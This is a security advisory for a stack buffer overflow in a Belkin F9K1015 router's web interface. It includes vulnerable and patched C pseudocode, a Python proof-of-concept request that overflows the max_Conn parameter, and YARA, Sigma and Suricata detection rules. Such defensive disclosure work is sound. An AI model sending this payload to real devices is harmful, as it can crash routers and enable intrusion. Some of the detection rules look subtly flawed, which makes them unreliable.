CVE-2025-11293

Executive Summary

CVE-2025-11293 is a critical buffer overflow vulnerability in the Belkin F9K1015 router, firmware version 1.00.10. The flaw resides in the /goform/formConnectionSetting endpoint, where the max_Conn argument is not properly sanitized, allowing an attacker to overflow a buffer and potentially achieve remote code execution. The exploit has been publicly disclosed, and the vendor has not responded to disclosure attempts. No patch is currently available. This vulnerability poses a significant risk to home and small office networks using this device.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in an embedded device.

CVSS Breakdown & Threat Level

While a CVSS vector is not officially assigned, based on the public exploit and remote attack vector, a reasonable assessment is:

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component is the router itself.
• Confidentiality (C): High (H) – Potential for full device compromise.
• Integrity (I): High (H) – Attacker can modify router configuration.
• Availability (A): High (H) – Buffer overflow can cause denial of service.

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical. The exploit is public, no patch exists, and the attack is remote and unauthenticated.

Deep Dive & Mechanics

The vulnerability is a classic stack-based buffer overflow in the Belkin F9K1015 router's web management interface. The /goform/formConnectionSetting endpoint processes the max_Conn parameter without proper bounds checking. When a long string is supplied, it overwrites adjacent memory on the stack, including the return address. An attacker can craft a payload that overwrites the return address to point to shellcode, achieving remote code execution with the privileges of the web server (typically root on embedded devices).

The vulnerable function likely uses a fixed-size buffer (e.g., 256 bytes) and a function like sprintf or strcpy to copy the user-supplied max_Conn value into it. The lack of input validation allows the overflow.

Vulnerable vs. Patched Code

Since no patch is available, a hypothetical patched version would include input validation and bounds checking.

Vulnerable Code (C pseudocode):

void handle_formConnectionSetting(char *max_Conn) {
    char buffer[256];
    sprintf(buffer, "max_Conn=%s", max_Conn); // Vulnerable: no bounds check
    // ... process buffer
}

Patched Code (C pseudocode):

void handle_formConnectionSetting(char *max_Conn) {
    char buffer[256];
    snprintf(buffer, sizeof(buffer), "max_Conn=%s", max_Conn); // Safe: limits copy
    // ... process buffer
}

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Obtain a Belkin F9K1015 router with firmware 1.00.10.
2. Connect the router to a network and ensure the web interface is accessible (default IP: 192.168.2.1).
3. Use a tool like curl or a custom Python script to send the exploit.

Exploit (Python):

import socket

target_ip = "192.168.2.1"
target_port = 80

# Payload: overflow buffer and overwrite return address with a controlled value
# This is a simplified example; actual shellcode would be needed for RCE.
payload = b"A" * 512  # Overflow buffer
payload += b"\x00\x00\x00\x00"  # Overwrite return address (placeholder)

http_request = (
    f"POST /goform/formConnectionSetting HTTP/1.1\r\n"
    f"Host: {target_ip}\r\n"
    f"Content-Type: application/x-www-form-urlencoded\r\n"
    f"Content-Length: {len(payload)}\r\n"
    f"\r\n"
    f"max_Conn={payload.decode('latin-1')}"
)

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_ip, target_port))
sock.send(http_request.encode())
response = sock.recv(4096)
print(response.decode())
sock.close()

Note: The above is a proof-of-concept. A full exploit would require reverse engineering the firmware to find the exact offset and a valid return address pointing to shellcode.

Blue Team

Detection:

• Monitor for HTTP POST requests to /goform/formConnectionSetting with abnormally long max_Conn parameters.
• Look for repeated connection attempts from the same IP.
• Check for router crashes or unexpected reboots.

Mitigation:

• Isolate the router from the internet if possible.
• Disable remote management.
• Monitor logs for exploitation attempts.

Indicators of Compromise (IOCs)

• Network:
  • HTTP POST requests to /goform/formConnectionSetting with max_Conn parameter exceeding 256 bytes.
  • Source IPs scanning for Belkin F9K1015 devices.
• Host (Router):
  • Unexpected crashes or reboots.
  • Modified configuration files.
  • Presence of unknown processes or shell access.
• File:
  • /tmp/exploit or similar files if shellcode is uploaded.

Detection Engineering

YARA Rule

rule CVE_2025_11293_Belkin_BufferOverflow {
    meta:
        description = "Detects exploit attempts for CVE-2025-11293 in network traffic"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-11293"
    strings:
        $http_method = "POST"
        $uri = "/goform/formConnectionSetting"
        $param = "max_Conn="
        $long_string = /max_Conn=[A-Za-z0-9]{256,}/  // Matches parameter > 255 chars
    condition:
        $http_method and $uri and $param and $long_string
}

Sigma Rule

title: CVE-2025-11293 Belkin F9K1015 Buffer Overflow Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests with long max_Conn parameter targeting Belkin router
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-stem: '/goform/formConnectionSetting'
        cs-uri-query|contains: 'max_Conn='
        sc-bytes|gte: 256
    condition: selection
falsepositives:
    - Legitimate long configuration values (unlikely)
level: critical

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-11293 Belkin F9K1015 Buffer Overflow Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/goform/formConnectionSetting"; http_uri;
    content:"max_Conn="; http_client_body;
    pcre:"/max_Conn=[A-Za-z0-9]{256,}/";
    sid:1000001;
    rev:1;
    reference:cve,2025-11293;
    classtype:attempted-admin;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable Remote Management: If possible, disable remote access to the router's web interface.
2. Network Segmentation: Place the router behind a firewall that can inspect and block malicious HTTP requests.
3. Monitor Logs: Enable logging on the router and monitor for exploitation attempts.

Long-Term:

1. Vendor Contact: Continue to pressure Belkin for a firmware patch.
2. Device Replacement: Consider replacing the F9K1015 with a supported, patched router.
3. IDS/IPS: Deploy network intrusion detection/prevention systems with the above rules.

Workaround:

• If the router cannot be replaced, restrict access to the web interface to trusted IPs only (if supported).

Valters IT
DevSecOps & Cyber Threat Intelligence